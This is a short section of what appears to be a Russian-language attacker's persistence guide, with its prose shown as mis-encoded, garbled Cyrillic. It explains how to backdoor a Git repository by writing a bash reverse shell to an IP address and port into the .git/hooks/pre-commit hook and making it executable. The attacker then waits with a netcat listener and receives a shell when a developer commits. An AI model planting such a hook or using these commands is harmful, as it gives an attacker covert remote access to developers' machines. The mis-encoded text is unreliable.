10 - Git hook
Π£ git, ΡΠ°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ Ρ APT Π΅ΡΡΡ ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΡ Ρ ΡΠΊΠΎΠ², Π° Π΅ΡΠ΅ ΡΠ°ΠΉΠ» ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΈ. Π₯ΡΠΊΠΈ ΡΠ°ΡΠΏΠΎΠ»ΠΎΠ³Π°ΡΡΡΡ Π² .git/hooks/ ΠΈ ΠΈΠΌΠ΅ΡΡ ΡΠ½ΠΈΠΊΠ°Π»ΡΠ½ΡΠ΅ ΠΈΠΌΠ΅Π½Π°, Π΄Π»Ρ ΠΏΡΠΈΠΌΠ΅ΡΠ° Π²ΠΎΠ·ΡΠΌΠ΅ΠΌ ΡΠ°ΠΉΠ» pre-commit.
// ΠΡΠ°Π²ΠΈΠΌ ΡΠ°ΠΉΠ» .git/hooks/pre-commit, Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΠΌ ΡΡΡΠΎΠΊΡ
bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1'
chmod +x .git/hooks/pre-commit
// Π½Π° ΠΌΠ°ΡΠΈΠ½Π΅ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ ΠΊΠ°ΠΊ Π²ΡΠ΅Π³Π΄Π° ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅ΠΌ netcat
nc -vln 9010
Π’Π΅ΠΏΠ΅ΡΡ ΠΊΠ°ΠΊ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊ ΡΠ΅ΡΠΈΡ Π·Π°ΠΊΠΎΠΌΠΌΠΈΡΠΈΡΡ ΡΠ²ΠΎΠΉ ΠΊΠΎΠ΄, ΠΌΡ ΠΏΠΎΠ»ΡΡΠΈΠΌ ΡΠ΅Π»Π».
Last updated